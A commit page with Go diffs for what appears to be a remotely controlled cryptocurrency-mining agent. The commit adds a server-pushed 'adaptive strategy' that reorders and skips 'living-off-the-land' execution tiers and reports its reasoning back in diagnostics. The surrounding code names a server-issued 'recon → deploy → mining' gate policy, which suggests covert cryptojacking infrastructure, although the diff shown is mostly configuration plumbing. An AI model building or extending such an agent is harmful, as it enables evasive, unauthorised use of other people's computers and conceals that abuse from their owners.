Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -62,6 +62,7 @@ type AgentClient struct {
|
||||
miningChain *MiningChainRunner
|
||||
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||
tierPolicy miner.MiningTierPolicy
|
||||
adaptiveStrategy AdaptiveStrategy
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
@@ -479,6 +480,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
case "policy_update":
|
||||
go c.applyPolicyUpdate(msg.Payload)
|
||||
case "adaptive_strategy_update":
|
||||
c.applyAdaptiveStrategyJSON(msg.Payload)
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
|
||||
@@ -62,8 +62,10 @@ type MiningDiagnostics struct {
|
||||
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
||||
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
||||
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
||||
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
||||
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
||||
AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"`
|
||||
StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"`
|
||||
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
||||
|
||||
@@ -128,11 +130,17 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
||||
for i, t := range tierChain {
|
||||
d.TierChainOrder[i] = string(t)
|
||||
}
|
||||
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, c.miningTierPolicy(), c.cfg)
|
||||
policy := c.miningTierPolicy()
|
||||
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, policy, c.cfg)
|
||||
d.TierChainSkipped = make([]string, len(skipped))
|
||||
for i, t := range skipped {
|
||||
d.TierChainSkipped[i] = string(t)
|
||||
}
|
||||
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 {
|
||||
copy := strat
|
||||
d.AdaptiveStrategy = ©
|
||||
d.StrategyReasoning = copy.Reasoning
|
||||
}
|
||||
|
||||
d.CPU.RemotePaused = remotePaused
|
||||
d.CPU.ScheduleBlocked = scheduleBlocked
|
||||
|
||||
@@ -19,6 +19,12 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
||||
}
|
||||
if len(resp.AdaptiveStrategy) > 0 {
|
||||
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
||||
return
|
||||
}
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
return
|
||||
}
|
||||
if len(resp.LotlOnionTiers) == 0 {
|
||||
|
||||
@@ -61,6 +61,7 @@ type AuthResponse struct {
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
||||
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
||||
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
|
||||
58
agent/client/strategy_policy.go
Normal file
58
agent/client/strategy_policy.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
type AdaptiveStrategy struct {
|
||||
TierOrder []string `json:"tier_order"`
|
||||
SkipTiers []string `json:"skip_tiers,omitempty"`
|
||||
Reasoning []StrategyReason `json:"reasoning"`
|
||||
Confidence float64 `json:"confidence"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
}
|
||||
|
||||
type StrategyReason struct {
|
||||
Fact string `json:"fact"`
|
||||
Inference string `json:"inference"`
|
||||
Action string `json:"action"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyAdaptiveStrategyJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var s AdaptiveStrategy
|
||||
if err := json.Unmarshal(raw, &s); err != nil {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.adaptiveStrategy = s
|
||||
policy := c.tierPolicy
|
||||
if len(s.TierOrder) > 0 {
|
||||
order := make([]miner.LOTLTier, len(s.TierOrder))
|
||||
for i, t := range s.TierOrder {
|
||||
order[i] = miner.LOTLTier(t)
|
||||
}
|
||||
policy.TierOrder = order
|
||||
}
|
||||
if len(s.SkipTiers) > 0 {
|
||||
skip := make([]miner.LOTLTier, len(s.SkipTiers))
|
||||
for i, t := range s.SkipTiers {
|
||||
skip[i] = miner.LOTLTier(t)
|
||||
}
|
||||
policy.SkipTiers = skip
|
||||
}
|
||||
c.tierPolicy = policy
|
||||
c.mu.Unlock()
|
||||
log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence)
|
||||
}
|
||||
|
||||
func (c *AgentClient) adaptiveStrategySnapshot() AdaptiveStrategy {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return c.adaptiveStrategy
|
||||
}
|
||||
Reference in New Issue
Block a user